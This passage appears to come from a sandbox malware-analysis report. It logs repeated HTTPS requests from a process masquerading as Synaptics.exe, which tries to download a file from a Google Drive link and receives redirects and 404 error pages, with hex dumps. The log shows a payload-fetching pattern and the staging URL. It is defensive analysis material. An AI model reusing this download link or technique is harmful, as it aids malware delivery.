22	192.168.2.6	49805	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:21 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:28:22 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:21 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-t2_fSuMXemqicojfDA35Uw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49803	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:21 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:28:22 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:21 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-StRHLdSFa6sOOCnZyg7-nw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49804	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:21 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:22 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7_ayye21hQahZtitfxw0vW09Ce1WdiDEFynUj-ZcY8mhVVeAVDi157XXab8wR7Y1bP Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:21 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-xtgkxBeqJ-WZ6HzpIHiwFg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:22 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:28:22 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 64 6a 75 72 35 39 74 35 57 62 79 4c 45 73 7a 4c 55 7a 47 77 4e 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="djur59t5WbyLEszLUzGwNw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:28:22 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49806	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:21 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:22 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4YJ9CfZWRQuZ29Au65Dpnx6-UQyBXAxPa7YdvSn8PSXUFoaajBQGop5LlJf9lP_b_WM5PD0tE Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:22 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-dJ_EhxXTWrUihOxytjy1lQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:22 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:28:22 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 61 47 73 66 33 56 52 6b 33 51 35 56 74 4f 6e 35 54 4c 34 72 2d 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="aGsf3VRk3Q5VtOn5TL4r-w">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:28:22 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49823	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:23 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:28:23 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:23 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-rOvOsxR8WjnN50FKdPCzXg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49824	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:23 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:28:23 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:23 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-xtOMfsRC8szq2R_aBQKnrQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49833	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:24 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=HZAU1e_6zD1Tbvh2IrBgA-dj-MiKcypl2SZc0T0_IXcvLUKbbfDhrJt58FvFgGgjCVwb4NUkUxuAa4cEVCBs1n6rVz4utIPxA_t6ucoTwll7r5mMtwCeaguFKVKoDqjfKS6r0YP-L2NJTK7qP8Xg_hf7LPbOhKiobzWCvQ5GX7EfE7pgZkxXI0I
2025-01-02 19:28:24 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:24 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-yGxYz2sBqWcQDZNullrCfQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49832	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:24 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:24 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7eXaeAf6TuHAFkP4dbqH7ic46_xIgO4bOXguGpH8-2YJfuTPb0yv9N6AF9yfnzpI4b Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:24 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce--_DK3vQlu0_wP6I05K4AhA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:24 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:28:24 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 42 5f 50 61 61 35 44 6d 6e 50 79 4c 30 78 61 59 34 76 74 4e 78 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="B_Paa5DmnPyL0xaY4vtNxg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:28:24 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49836	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:24 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Ehq656cURaR2Q6Kk6m_ep4IrA5YOYJ83exUyTXOed8P1J20DPKj0B2-7j-1WwI1Z6gqr125Z2p2LY-gNVoaae_Xq6UjegIIraZKQ2d_70YSZ7rMLSf3s_kf8DW7iqMesdOc_xBZlfGi_8mKZgFsG7HdEaRaEoaL4QzqEpXEMQ0Iauw6EXNRDBMpS
2025-01-02 19:28:24 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:24 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-oea796vc1bapYGJGZ1d1sg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49835	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:24 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
